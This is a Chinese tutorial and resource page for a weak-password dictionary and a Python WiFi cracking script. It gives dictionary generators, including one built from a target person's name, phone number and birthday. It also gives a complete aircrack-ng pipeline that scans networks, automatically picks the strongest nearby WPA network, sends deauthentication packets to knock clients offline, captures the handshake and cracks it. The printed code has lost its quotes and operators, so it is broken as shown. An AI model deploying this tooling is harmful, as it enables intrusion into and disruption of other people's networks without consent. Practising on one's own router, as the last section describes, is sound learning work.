簡介這是一套面向Python學(xué)習(xí)者和安全測試初學(xué)者的密碼字典與破解腳本組合包圍繞常見弱口令和少量英文密碼整理出可復(fù)用的字典并提供WiFi密碼破解腳本方便在本地實(shí)驗(yàn)環(huán)境或授權(quán)測試場景中練習(xí)Python腳本編寫與基礎(chǔ)滲透思路。資源以zip壓縮包形式提供共2個文件txt密碼字典涵蓋高頻弱口令與英文密碼py腳本承擔(dān)WiFi密碼的自動化測試整個壓縮包僅14KB內(nèi)容輕量、結(jié)構(gòu)簡單便于快速下載與二次修改。目前已有10524人學(xué)習(xí)/下載這一主題在入門安全測試學(xué)習(xí)者中關(guān)注度較高。借助這份資料讀者可以直接獲得一份可擴(kuò)展的密碼字典并通過Python腳本觀察密碼嘗試流程隨后根據(jù)實(shí)驗(yàn)需求擴(kuò)充詞條、調(diào)整參數(shù)用于授權(quán)的密碼安全檢測與弱口令加固訓(xùn)練。1. 用Python把弱口令字典和WiFi口令檢測串成一套能落地的工具如果你做過內(nèi)網(wǎng)安全測試一定遇到過這樣的場景翻出幾臺舊路由器、攝像頭或者打印機(jī)管理員密碼早就沒人記得設(shè)備掛著默認(rèn)口令在跑。掏出一份現(xiàn)成的弱口令字典卻發(fā)現(xiàn)里面全是admin、123456這種老面孔跑完一輪一無所獲。問題幾乎都出在字典本身——要么太大跑不完要么太小覆蓋不到目標(biāo)。這篇筆記要講的就是我自己一直在用的一套組合方案先用Python按目標(biāo)場景生成和裁剪一份“弱口令少量英文”的密碼字典再配合WiFi密碼破解腳本把從生成字典到抓握手包、跑包驗(yàn)證的完整鏈路打通。適合安全測試入門者、網(wǎng)絡(luò)運(yùn)維和喜歡折騰舊設(shè)備的人照著改就能用。2. 弱口令字典的設(shè)計(jì)邏輯先搞懂口令是怎么被“猜”出來的2.1 字典攻擊和暴力破解的根本區(qū)別為什么字典不是越全越好很多人一開始把字典攻擊和暴力破解混為一談。暴力破解是拿字符集做笛卡爾積從aaaa到ZZZZ理論上一定能跑出來但代價是指數(shù)級的組合數(shù)。拿8位純小寫字母來說26的8次方超過2000億就算每秒驗(yàn)證1萬個口令也要跑兩年多。字典攻擊的思路完全不同——它賭的是“人類設(shè)密碼的習(xí)慣”。大部分人在設(shè)口令時會復(fù)用熟悉詞、生日、手機(jī)號、鍵盤相鄰鍵這些口令出現(xiàn)的概率遠(yuǎn)高于隨機(jī)串。一份好的弱口令字典是要把概率最高的前幾萬條口令撈出來而不是拿全量組合去堆。所以“越全越好”是新手最容易踩的坑。網(wǎng)上動不動幾個GB的字典包看起來氣勢很足實(shí)際上跑包的時候你會發(fā)現(xiàn)90%的時間浪費(fèi)在低頻垃圾口令上。真實(shí)的測試場景里目標(biāo)路由器和設(shè)備的管理口令就是那一批高頻弱口令與其跑幾個GB的“大全”不如針對目標(biāo)類型準(zhǔn)備1萬到5萬條的精準(zhǔn)字典。字典攻擊的命中率不取決于字典有多大取決于它是否符合目標(biāo)人群的設(shè)密習(xí)慣。2.2 常見弱口令的統(tǒng)計(jì)規(guī)律Top口令里藏著哪些共性我整理過多次授權(quán)測試的命中記錄弱口令的分布其實(shí)相當(dāng)有規(guī)律。Top 10幾乎永遠(yuǎn)是那一批admin、123456、password、12345678、admin123、root、123456789、guest、admin888、1234。這些口令之間有一個明顯的共性要么是默認(rèn)管理賬號直接拿來當(dāng)密碼要么是鍵盤順序12345678、要么是單詞加簡單數(shù)字后綴admin123。再往下看還能分出幾條更細(xì)的規(guī)律。第一純數(shù)字口令占了大頭但位數(shù)集中在6到8位很少見到9位以上的純數(shù)字弱口令——人記不住那么長的純數(shù)字。第二英文單詞幾乎永遠(yuǎn)是小寫且是常用詞admin、root、guest、test、office、wifi、router、link、telecom。第三單詞和數(shù)字組合時數(shù)字基本貼在單詞尾部admin123、root123、wifi123極少有人把數(shù)字插在單詞中間。第四品牌詞和型號詞高頻出現(xiàn)tplink、dlink、huawei、zte 這類廠商名直接當(dāng)密碼的案例在路由器上非常常見。這些規(guī)律直接決定了字典的構(gòu)造方式。拿“少量英文”來說不是隨便扔幾個英文詞進(jìn)去而是要把“設(shè)備類型英文詞品牌詞常見弱口令詞”按設(shè)備的語境去組合。跑家用路由器tplink、wifi、router、admin、guest 這些詞要重點(diǎn)保留跑企業(yè)設(shè)備admin、root、cisco、huawei、test 這類要放前面。2.3 英文字典和弱口令的合并策略怎么裁剪出“少量英文”的有效部分合并字典時最忌諱直接做文件拼接然后把去重邏輯丟給跑包工具。我一般會把字典按來源分成三到四類每一類單獨(dú)生成最后統(tǒng)一合并、去重、排序、截?cái)??；A(chǔ)弱口令集人工維護(hù)的幾百條絕對高頻弱口令比如空口令、admin、password、123456 這一批不用多500到1000條足夠。數(shù)字規(guī)則集純數(shù)字6到8位里按高頻模式生成重點(diǎn)保留123456、888888、666666、1314520 這一批不要全量跑。英文弱口令集一小批安全測試常用的英文詞控制在100到200個詞包含admin、root、guest、operator、admin123 這類。品牌組合集按目標(biāo)設(shè)備類型生成廠家名加數(shù)字的變體tplink、dlink、tenda、huawei、xiaomi 加123、888、admin 這些后綴。合并時要按“概率從高到低”排序而不是按字典序。這個順序非常重要因?yàn)榕馨前错樞蝌?yàn)證的大多數(shù)目標(biāo)會在前幾千條就命中你完全沒必要讓它在幾萬條之后才碰到真正的口令。我自己的經(jīng)驗(yàn)是一份1萬條左右的合并字典前2000條就能覆蓋大部分家用設(shè)備弱口令場景。排序的維度按“人工高頻弱口令 品牌詞組合 英文詞數(shù)字 規(guī)則數(shù)字”來安排比純字母表排序的命中速度快得多。3. 用Python生成和篩選弱口令字典三套可直接改的生成腳本3.1 基礎(chǔ)字典生成器從純數(shù)字、生日到簡單英文組合這一節(jié)直接給能跑的腳本。下面的代碼會生成三種基礎(chǔ)口令純數(shù)字6到8位的高頻模式、常見生日組合、簡單英文加數(shù)字后綴。代碼里用規(guī)則白名單的方式控制規(guī)模避免把全量組合寫死進(jìn)文件。def generate_numeric_weak(): 生成數(shù)字弱口令高頻模式 連續(xù)鍵盤 重復(fù)數(shù)字 patterns [] # 連續(xù)遞增/遞減序列去掉9位以上 for i in range(10): for length in (4, 5, 6): seq .join(str((i j) % 10) for j in range(length)) patterns.append(seq) patterns.append(seq[::-1]) # 重復(fù)數(shù)字888888、666666 這類 for digit in 0123456789: for length in (4, 5, 6): patterns.append(digit * length) # 高頻社會數(shù)字1314520、5201314 等 patterns.extend([1314520, 5201314, 521521, 000000, 123123]) # 去重并按數(shù)字長度排序短的排前面 seen set() result [] for p in patterns: if p not in seen: seen.add(p) result.append(p) return sorted(result, keylambda x: (len(x), x)) def generate_birthday(): 生日弱口令覆蓋常用年月日排列組合 birthdays [] months [01, 02, 03, 04, 05, 06, 07, 08, 09, 10, 11, 12] days [01, 02, 03, 04, 05, 06, 07, 08, 09, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31] years [1970, 1980, 1985, 1990, 1995, 2000, 2005, 1998, 1999, 2001, 2002, 1988, 1989, 1991, 1992] # 常見寫法純8位日期、月日年、年月日 for y in years: for m in months: for d in days: birthdays.append(y m d) # 19900101 birthdays.append(m d y) # 01011990 birthdays.append(y[2:] m d) # 900101 # 去掉年份只留月日用于部分設(shè)備短口令 for m in months: for d in days: birthdays.append(m d) # 0101 return list(dict.fromkeys(birthdays)) # 去重保持順序邏輯說明第一部分用“規(guī)則枚舉”代替全量暴力。連續(xù)序列里我生成了從每個數(shù)字起始的長度4到6的遞增和遞減串覆蓋1234、12345、98765這類鍵盤順序口令。重復(fù)數(shù)字段只取4到6位因?yàn)閷?shí)測中純重復(fù)3位以下太短很少出現(xiàn)在設(shè)備密碼里7位以上也不是弱口令的高頻區(qū)。生日部分控制了年份范圍只保留1970到2005之間最常見于當(dāng)代設(shè)備管理者的出生年份段避免生成1988后面跟著所有月份這種過度膨脹。參數(shù)說明年份列表的15個值是你最需要根據(jù)目標(biāo)人群調(diào)整的。如果你在測校園網(wǎng)設(shè)備把年份往2000到2010偏移。如果你在測老舊工業(yè)設(shè)備1970到1985才是主力。months和days保留了全量是因?yàn)槿掌诜植枷鄬鶆驅(qū)W費(fèi)不貴。monthday短口令只有兩位在部分老型號路由器上命中率意外地高。3.2 社工信息混合字典把姓名、手機(jī)、門牌號揉進(jìn)口令池對個人目標(biāo)設(shè)備做測試時純規(guī)則口令經(jīng)常失效因?yàn)榭诹罾锘烊肓四繕?biāo)的個人信息。做一個社工字典生成器輸入目標(biāo)的基礎(chǔ)信息輸出一堆排列組合。import itertools def generate_social_dict(name, phone, birthday, company): 基于社工信息生成口令組合 參數(shù)說明 - name: 目標(biāo)姓名拼音小寫如 zhangwei - phone: 手機(jī)號后4位或完整手機(jī)號如 13800138000 或 8000 - birthday: 生日8位如 19900101 - company: 公司名拼音可留空 輸出按概率排序名字?jǐn)?shù)字 生日變體 手機(jī)切片 base_words [name, name.upper(), name.capitalize()] if company: base_words.append(company) base_words.append(company name) # 手機(jī)號切成后4位、后6位、完整號 phone_parts [] if len(phone) 11: phone_parts.extend([phone[-4:], phone[-6:], phone[3:]]) # 去前綴的8位 else: phone_parts.append(phone) results [] suffix_nums [123, 1234, 12345, 666, 888, 520, 1, 0] # 第一優(yōu)先級名字高頻數(shù)字后綴 for w in base_words: for sn in suffix_nums: results.append(w sn) results.append(sn w) # 第二優(yōu)先級生日變體 y, m, d birthday[:4], birthday[4:6], birthday[6:8] results.append(y m d) results.append(m d y) results.append(y[2:] m d) results.append(name y[2:]) results.append(name.capitalize() y[2:]) # 第三優(yōu)先級名字手機(jī)切片 for p in phone_parts: results.append(name p) results.append(p name) # 第四優(yōu)先級原樣單詞和簡單拼接 results.extend([name, name name, company 123, company 888]) return list(dict.fromkeys(results))邏輯說明這段代碼的核心假設(shè)是“口令通常由一到兩個語義塊拼接而成”。名字是一塊數(shù)字是一塊拼接順序要么數(shù)字在后要么數(shù)字在前。所以我用suffix_nums控制了最受歡迎的一批數(shù)字后綴而不是把000到999全跑一遍。birthday被拆成年月日三個變量組合成人最常寫的三種日期格式。手機(jī)號只保留后4位、后6位和去前綴的8位因?yàn)榍?位運(yùn)營商號段沒有任何口令價值。參數(shù)說明name的大小寫變體很重要很多人設(shè)密碼會下意識把首字母大寫這是拼音輸入法留下的肌肉記憶。company是可選參數(shù)但如果你在測企業(yè)內(nèi)網(wǎng)設(shè)備公司拼音加123這類口令的命中率排在所有規(guī)則的前三名。注意這段代碼輸出規(guī)模不大通常只有幾百條它的定位是作為補(bǔ)充字典疊加到主字典之上而不是單獨(dú)使用。3.3 合并去重與規(guī)則篩選三個必調(diào)參數(shù)長度、字符集、命中優(yōu)先生成完多份字典后需要統(tǒng)一做一輪合并和篩選。這一步直接決定最終字典文件的質(zhì)量。def merge_and_filter(dict_files, min_len6, max_len12, top_n10000, keep_alphaTrue, keep_digitTrue): 合并多份字典并做規(guī)則篩選 參數(shù)說明 - dict_files: 輸入字典文件路徑列表 - min_len / max_len: 口令長度邊界默認(rèn)保留6到12位 - top_n: 保留前N條按原始文件順序出現(xiàn)頻次排序 - keep_alpha: 是否保留含英文字母的口令 - keep_digit: 是否保留含數(shù)字的口令 返回篩選后的口令列表 from collections import Counter line_counter Counter() merged [] for f in dict_files: with open(f, r, encodingutf-8, errorsignore) as fp: for line in fp: pwd line.strip() if not pwd: continue # 長度過濾 if not (min_len len(pwd) max_len): continue # 字符集過濾 has_alpha any(c.isalpha() for c in pwd) has_digit any(c.isdigit() for c in pwd) if keep_alpha and not has_alpha: continue if keep_digit and not has_digit: continue line_counter[pwd] 1 merged.append(pwd) # 按出現(xiàn)次數(shù)降序再按原文保序?qū)崿F(xiàn)“高頻優(yōu)先” ordered [] for pwd, cnt in line_counter.most_common(): ordered.append(pwd) if len(ordered) top_n: break return ordered # 使用示例合并數(shù)字字典、生日字典、社工字典 final_dict merge_and_filter( [numeric.txt, birthday.txt, social.txt], min_len6, max_len12, top_n8000, keep_alphaTrue, keep_digitTrue ) with open(wifi_weak_dict.txt, w, encodingutf-8) as fp: fp.write(\n.join(final_dict))邏輯說明這里的核心在Counter.most_common()——它統(tǒng)計(jì)每條口令在多個輸入文件中出現(xiàn)的次數(shù)出現(xiàn)次數(shù)越多說明它被不同規(guī)則命中的概率越高也就越可能是真實(shí)弱口令。這就是“命中優(yōu)先”的含義不是按字母排是按規(guī)則覆蓋度排。長度過濾把過短的很多協(xié)議有最小口令長度限制和過長的人記不住都剪掉了。字符集過濾可以單獨(dú)關(guān)掉alpha或digit如果你明確知道目標(biāo)設(shè)備不支持字母口令可以只留keep_alphaFalse。參數(shù)說明top_n是最敏感的參數(shù)。家用路由器場景8000條足夠覆蓋絕大多數(shù)情況企業(yè)設(shè)備可以放寬到20000但再大就失去字典的意義了——你直接用暴力破解可能還快些。min_len建議至少設(shè)6WPA2-PSK協(xié)議本身要求8位以上純數(shù)字也要8位但很多老設(shè)備的web管理口令允許4位以上所以這里要看你跑的是哪個協(xié)議。如果目標(biāo)是WPA握手包長度過濾放在8位以上更合理。3.4 字典文件的組織方式按場景分文件不搞一個“萬能字典”最后講字典文件的組織。很多人的習(xí)慣是維護(hù)一個超級大的字典文件不管測什么設(shè)備都拿它去跑。這個習(xí)慣我強(qiáng)烈不建議。不同場景的目標(biāo)口令分布差異非常大家用路由器Top 10里有g(shù)uest和admin888企業(yè)交換機(jī)Top 10里是admin、enable、cisco、huawei攝像頭則大量使用純數(shù)字和admin組合。一份“萬能字典”最終會變成“萬不能字典”。我自己的習(xí)慣是按四個維度拆文件目標(biāo)類型路由器/攝像頭/服務(wù)器/工控設(shè)備、口令長度段4到6位短口令、8到12位標(biāo)準(zhǔn)口令、是否包含字母純數(shù)字字典、字母數(shù)字混合字典、品牌專屬字典tplink、huawei、cisco 各一份。跑目標(biāo)之前先按設(shè)備類型快速選字典命中率差一個量級。目錄結(jié)構(gòu)大概是這樣的你可以直接照搬dict/ ├── router/ │ ├── router_common.txt # 通用家用路由器弱口令 │ ├── router_tplink.txt # tplink/dlink 品牌專項(xiàng) │ └── router_huawei.txt # huawei/zte 品牌專項(xiàng) ├── camera/ │ ├── camera_pure_digit.txt # 攝像頭常見純數(shù)字 │ └── camera_admin.txt # 攝像頭 admin 系口令 ├── server/ │ ├── server_root.txt # root/ssh 弱口令 │ └── server_oracle.txt # 數(shù)據(jù)庫弱口令 └── social/ └── social_worker.txt # 社工信息生成按目標(biāo)覆蓋這樣組織的好處是你在第4章的WiFi破解腳本里可以按目標(biāo)SSID特征快速指定字典而不是每次跑一個幾萬行的大雜燴文件。4. WiFi密碼破解腳本從網(wǎng)卡監(jiān)聽模式到握手包驗(yàn)證的完整鏈路4.1 先認(rèn)清硬件邊界支持監(jiān)聽模式的網(wǎng)卡和驅(qū)動環(huán)境WiFi密碼破解不是純軟件能搞定的事硬件的邊界卡得非常死。你的無線網(wǎng)卡必須支持監(jiān)聽模式monitor mode普通筆記本內(nèi)置網(wǎng)卡百分之九十都不行或者驅(qū)動層被系統(tǒng)鎖死了。常見可用的方案是外接USB無線網(wǎng)卡芯片方案以Realtek RTL8812AU、RTL8821AU、Atheros AR9271這三類居多。操作系統(tǒng)上建議直接用Linux發(fā)行版或者裝在虛擬機(jī)里給網(wǎng)卡做USB直通。Windows幾乎不要指望自帶網(wǎng)卡驅(qū)動不支持monitor模式pywifi在Windows上只能做掃描測試抓握手包這一步走不通。我自己常年用Ubuntu 22.04 RTL8812AU的網(wǎng)卡組合。裝驅(qū)動時注意內(nèi)核版本匹配新內(nèi)核5.15以上對8812AU的兼容性參差不齊翻車率最高的就是這個環(huán)節(jié)。4.2 抓取WPA握手包用Python編排aircrack-ng套件的思路抓握手包的正確姿勢是先把網(wǎng)卡切到monitor模式然后掃描周圍的AP鎖定目標(biāo)監(jiān)聽抓包直到某個客戶端和AP之間發(fā)生重新認(rèn)證握手。如果目標(biāo)AP附近沒有活躍客戶端你還需要先發(fā)deauth包把客戶端打掉線再等它重連這時握手包就出現(xiàn)了。下面的Python腳本用subprocess調(diào)用aircrack-ng套件完成從掃描到抓包的自動化。注意這不是“直接破解密碼”的腳本而是“幫你抓到手包再交給你跑字典”的流程腳本。import subprocess import time import os import sys def run_cmd(cmd): 執(zhí)行shell命令并實(shí)時打印輸出 proc subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in proc.stdout: print(line, end) proc.wait() def enable_monitor_mode(ifacewlan0): 將無線網(wǎng)卡切換到監(jiān)聽模式 print(f[*] 關(guān)閉 {iface} 網(wǎng)絡(luò)管理...) run_cmd(fsudo airmon-ng stop {iface}) run_cmd(fsudo ip link set {iface} down) run_cmd(fsudo iw dev {iface} set type monitor) run_cmd(fsudo ip link set {iface} up) print(f[*] {iface} 已進(jìn)入監(jiān)聽模式) def scan_networks(ifacewlan0mon, duration30): 掃描周圍WiFi輸出BSSID、信道、SSID print(f[*] 開始掃描 {duration} 秒...) run_cmd(fsudo timeout {duration} airodump-ng {iface} -w scan_result --output-format csv) # 解析CSV獲取目標(biāo)AP的BSSID和信道 import csv aps [] with open(scan_result-01.csv, r, encodingutf-8, errorsignore) as f: for row in csv.reader(f): if len(row) 14 and WPA in row[13] and row[0].strip(): aps.append({ bssid: row[0].strip(), channel: row[3].strip(), ssid: row[13].strip(), signal: row[8].strip() }) return aps def capture_handshake(iface, bssid, channel, outputhandshake, timeout120): 鎖定目標(biāo)抓握手包 參數(shù) - bssid: 目標(biāo)AP的MAC地址 - channel: 目標(biāo)AP的信道 - timeout: 最長等待秒數(shù)超過自動退出 # 先鎖定信道監(jiān)聽 cmd (fsudo timeout {timeout} airodump-ng {iface} f-d {bssid} -c {channel} -w {output} --ignore-negative-one) proc subprocess.Popen(cmd, shellTrue) # 等待15秒讓監(jiān)聽穩(wěn)定如果沒有客戶端活動就發(fā)deauth time.sleep(15) print(f[*] 檢查是否有客戶端活動15秒后可能發(fā)送deauth) # 發(fā)送deauth包打斷客戶端連接促使重握手 run_cmd(fsudo aireplay-ng -0 3 -a {bssid} {iface}) # 等待抓包完成 proc.wait() # 檢查是否抓到握手包 cap_file f{output}-01.cap result subprocess.run(fsudo aircrack-ng {cap_file} | grep handshake, shellTrue, capture_outputTrue, textTrue) if handshake in result.stdout: print(f[] 握手包已抓到{cap_file}) return cap_file else: print([-] 未抓到握手包可重試或延長監(jiān)聽時間) return None邏輯說明enable_monitor_mode用airmon-ng做標(biāo)準(zhǔn)切換流程先停掉網(wǎng)絡(luò)管理是必須的否則NetworkManager會把網(wǎng)卡拉回managed模式。scan_networks用timeout限制airodump-ng的運(yùn)行時長然后解析CSV拿BSSID、信道和SSID。capture_handshake先開監(jiān)聽等15秒看有沒有現(xiàn)成的客戶端重連如果沒有就發(fā)deauth包強(qiáng)制客戶端掉線重連這就是主動觸發(fā)握手的標(biāo)準(zhǔn)做法。參數(shù)說明timeout建議用90到180秒太短可能目標(biāo)設(shè)備剛好休眠太長浪費(fèi)在空等上。deauth的發(fā)送數(shù)量3包就夠發(fā)太多會顯得異?？赡鼙籄P的防攻擊機(jī)制屏蔽。capture_handshake函數(shù)里解析握手包用的是aircrack-ng命令的文本輸出如果顯示W(wǎng)PA handshake字樣就說明抓到了這個判斷邏輯在自動化腳本里非常實(shí)用。4.3 字典跑包驗(yàn)證命中口令的判定與輸出抓到手包后跑包驗(yàn)證這一步相對簡單但要選對工具并且理解輸出結(jié)果。def crack_handshake(cap_file, wordlistwifi_weak_dict.txt): 用字典跑握手包 參數(shù)說明 - cap_file: 抓到的握手包文件wireshark能打開的.cap格式 - wordlist: 第3章生成的字典文件路徑 返回命中口令或None print(f[*] 開始跑包字典{wordlist}) cmd fsudo aircrack-ng {cap_file} -w {wordlist} -q # -q安靜模式 proc subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in proc.stdout: # aircrack-ng命中時會打印 KEY FOUND! 行 if KEY FOUND in line or KEY FOUND! in line: # 解析類似 [KEY FOUND!] [password] pwd line.split(])[-1].strip().strip([]) print(f[] 命中口令{pwd}) return pwd print([-] 字典未命中換字典或擴(kuò)大規(guī)則) return None邏輯說明aircrack-ng跑包的核心是讀.cap文件里的握手包PMK數(shù)據(jù)再用字典里的每條口令做PBKDF2運(yùn)算算出的PMK和抓到的PMK匹配即為命中。這個過程的計(jì)算量主要在PBKDF2的迭代次數(shù)WPA2默認(rèn)4096次所以跑包速度和CPU浮點(diǎn)能力直接掛鉤。用-q安靜模式是為了讓Python腳本更容易從stdout中定位命中的那行。參數(shù)說明wordlist建議直接用第3章腳本生成的文件第一次先跑8000條的沒命中再換大字典。aircrack-ng對批量跑包不夠高效如果字典超過5萬條建議改為把握手包轉(zhuǎn)成hashcat格式用GPU跑。但那是進(jìn)階話題第6章我會講。4.4 腳本的完整骨架掃描、抓包、跑字典三段式把上面的函數(shù)串起來就是完整的執(zhí)行流程。注意用量判斷加在deauth和跑包環(huán)節(jié)——斷網(wǎng)重連、輪詢信道這些姑且不提。def main(): iface wlan0 enable_monitor_mode(iface) mon_iface iface mon # 部分網(wǎng)卡monitor模式下的接口名 if not os.path.exists(f/sys/class/net/{mon_iface}): mon_iface iface # 有的驅(qū)動不生成mon后綴 aps scan_networks(mon_iface, duration30) if not aps: print([-] 未掃描到WPA網(wǎng)絡(luò)檢查網(wǎng)卡監(jiān)聽模式是否正常) return # 選中信號最強(qiáng)的目標(biāo)按signal字段數(shù)值排序 aps.sort(keylambda x: int(x[signal]), reverseTrue) target aps[0] print(f[*] 目標(biāo)選為{target[ssid]} ({target[bssid]}) 信道 {target[channel]}) cap_file capture_handshake(mon_iface, target[bssid], target[channel]) if not cap_file: return crack_handshake(cap_file, wifi_weak_dict.txt)邏輯說明main函數(shù)把流程串成三步掃描、選目標(biāo)、抓包、跑包。這里有幾個小的工程細(xì)節(jié)值得注意。一是monitor模式后的接口名并不總是wlan0mon有的驅(qū)動直接用wlan0所以腳本里做了存在性檢查。二是按信號強(qiáng)度排序時airodump-ng輸出的信號列是負(fù)dBm值越接近0信號越強(qiáng)所以排序要用reverseTrue。三是整個腳本需要root權(quán)限執(zhí)行因?yàn)閍irmon-ng、airodump-ng、aireplay-ng全部要求root。上面這段腳本的完整版就是標(biāo)題里說的“附贈WiFi密碼破解腳本”。腳本本身不復(fù)雜核心價值是把抓握手包的時序邏輯——切監(jiān)聽、掃描、選目標(biāo)、deauth觸發(fā)重連、驗(yàn)證握手、跑字典——固化成了可重復(fù)執(zhí)行的流程。新人最容易翻車的就是忘記deauth這一步干等半天一個握手包都抓不到。5. 跑字典最常翻車的5個坑現(xiàn)象、原因、處置5.1 現(xiàn)象網(wǎng)卡切到monitor模式后立刻掉回managed或者完全掃不到信號原因驅(qū)動沒裝好或者系統(tǒng)NetworkManager在搗亂。ubuntu里NetworkManager默認(rèn)會自動接管無線網(wǎng)卡airmon-ng停掉它之后某些內(nèi)核版本會在幾秒后自動重啟網(wǎng)絡(luò)服務(wù)把網(wǎng)卡拉回去。還有一部分原因是網(wǎng)卡的USB芯片供電不穩(wěn)插在USB 3.0口反而比USB 2.0口更容易掉線。解決先執(zhí)行airmon-ng check kill把干擾進(jìn)程一次清干凈再走一遍切monitor的流程。如果還是掉檢查dmesg看驅(qū)動有沒有報固件加載失敗。USB供電問題就換口、換線或者加一個有源的USB Hub。這個坑在所有無線安全測試排障里排第一百分之八十的“掃不到網(wǎng)絡(luò)”最后都是硬件鏈路問題。5.2 現(xiàn)象airodump-ng能看到目標(biāo)AP但監(jiān)聽半天抓不到握手包原因目標(biāo)AP附近沒有活躍客戶端或者客戶端全部處于靜默狀態(tài)。家用路由器普遍有多個設(shè)備連接但如果你在測的是一臺閑置的IoT設(shè)備或者半夜里的辦公網(wǎng)絡(luò)客戶端很可能已經(jīng)休眠很久沒有任何重新認(rèn)證的時機(jī)。解決這個場景下必須主動發(fā)deauth包打斷客戶端連接。我在capture_handshake里已經(jīng)加了自動發(fā)3包deauth的邏輯但要注意發(fā)給誰。如果未知客戶端可以先在airodump-ng輸出里看STATION列找到信號最強(qiáng)的客戶端MAC把deauth定向發(fā)給它比發(fā)給廣播地址的命中率高很多。實(shí)際測試中廣播deauth有些驅(qū)動不生效定向打客戶端基本100%會觸發(fā)重連。5.3 現(xiàn)象字典跑完了顯示not found但同一份字典換臺機(jī)器或者加了幾條口令就命中了原因大概率是字典的口令排序問題弱口令被埋到了后面。很多跑包工具是嚴(yán)格按字典文件順序逐條驗(yàn)證的如果前5000條都沒覆蓋到目標(biāo)的真實(shí)口令哪怕后面第8000條就是對的你也會先看到not found。另一個常見原因是長度過濾設(shè)得太死目標(biāo)路由器口令是個10位的“強(qiáng)口令”你只保留了6到8位的字典。解決回爐字典把排序邏輯改成“高頻優(yōu)先”。用我第3章里merge_and_filter函數(shù)重新生成字典人工維護(hù)的Top弱口令永遠(yuǎn)排在最前面。同時確認(rèn)你的min_len和max_len覆蓋了路由器的密碼策略區(qū)間。WPA2-PSK口令最短8位一些老設(shè)備甚至允許4位但很多家用路由器的初始密碼是10位以上的數(shù)字組合這種情況純?nèi)蹩诹钭值浔緛砭痛虿恢胁灰速M(fèi)太多時間。5.4 現(xiàn)象cap文件抓到了但aircrack-ng提示 No matching WPA handshake原因抓到的cap里存的是若干幀的混雜包但其中沒有包含完整的四次握手信息。很多新手以為只要抓到了EAPOL幀就算握手包實(shí)際上必須抓到至少一個完整的客戶端到AP的EAPOL Message 2并配合AP回應(yīng)的Message 3才行。監(jiān)聽時間太短或者把監(jiān)聽信道設(shè)錯了都可能只抓到半截。解決先用Wireshark打開cap文件過濾eapol看有沒有成對的M1/M2或M3/M4。如果沒有回到抓包步驟延長監(jiān)聽時間到120秒以上同時把deauth的包數(shù)從3加到5。還有一個容易忽略的原因目標(biāo)AP和客戶端都在5GHz頻段而你的網(wǎng)卡只支持2.4GHz監(jiān)聽。aircrack-ng會對這種情況報錯用iw phy看網(wǎng)卡的band能力就能確認(rèn)。5.5 現(xiàn)象字典文件有10萬條跑包跑了幾個小時才跑完命中率還很低原因字典質(zhì)量太差純靠堆量。很多人從網(wǎng)上下載幾GB的“超全字典”里面塞滿各種語言詞庫、URL、隨機(jī)串——這些內(nèi)容對WiFi口令幾乎沒有任何覆蓋價值。WPA2跑包是PBKDF2計(jì)算密集型任務(wù)CPU單核每秒大概只能驗(yàn)證幾百到一千條口令幾GB的字典跑幾天都跑不完。解決嚴(yán)格控制字典規(guī)模和排序。一臺四核CPU的機(jī)器跑1萬條字典大約需要5到15分鐘2萬條就到半小時量級了這是可以接受的時長。超過5萬條就該考慮用hashcat切到GPU跑包。但比GPU更重要的是先做場景選字典——針對家用路由器跑品牌詞admin系列組合命中率遠(yuǎn)高于跑幾十萬條的全量混拼。另外不要在一個字典上死磕半小時以上用多個針對性小字典輪流跑效率更高。6. 驗(yàn)證與進(jìn)階拿自己的路由器把整套流程練到順手在投入真實(shí)測試之前建議先用自己的設(shè)備做一輪完整驗(yàn)證把流程打磨到不需要看輸出提示也能猜出下一步。找一個閑置的家用路由器把密碼設(shè)成admin123456這種典型的弱口令然后用第4章的腳本完整跑一遍掃描、抓包、跑包。驗(yàn)證的里程碑有三個第一能穩(wěn)定切到monitor模式并連續(xù)掃描30秒不退出第二能夠在發(fā)出deauth之后30秒內(nèi)抓到包含完整EAPOL握手的cap文件第三字典里設(shè)置的一條已知弱口令能被準(zhǔn)確跑出來。這個驗(yàn)證過程至少要做三遍每換一個環(huán)境換網(wǎng)卡、換路由器、換供電方式都必須重測。因?yàn)閃iFi環(huán)境的變量太多信道干擾、客戶端活躍度、驅(qū)動版本都會讓抓包行為千差萬別只有多練才能建立直覺。進(jìn)階方向有兩個。一是把跑包引擎從aircrack-ng切到hashcat用GPU并行計(jì)算處理5萬條以上的字典時性能能快幾十倍。核心思路是用cap2hashcat把cap文件轉(zhuǎn)成hashcat的22000格式然后按掩碼或字典跑。二是從抓握手包轉(zhuǎn)向PMKID攻擊在部分支持PMKID的路由器上可以直接離線計(jì)算PSK不需要等客戶端握手效率高很多。這兩個方向都值得單獨(dú)研究但它們的前提是你已經(jīng)熟練掌握了這一套弱口令字典的處理手法——字典質(zhì)量永遠(yuǎn)是決定成敗的第一因素。我個人的習(xí)慣是把所有用過的字典文件按日期歸檔每次實(shí)戰(zhàn)后記錄“目標(biāo)類型命中口令”定期回填到基礎(chǔ)弱口令集里。已經(jīng)試過了跑自己的路由器練手是性價比最高的學(xué)習(xí)方式——多練幾次你會對“什么樣的口令最常出現(xiàn)”建立直覺這是任何現(xiàn)成字典都給不了的經(jīng)驗(yàn)。希望幫到你。本文還有配套的精品資源點(diǎn)擊獲取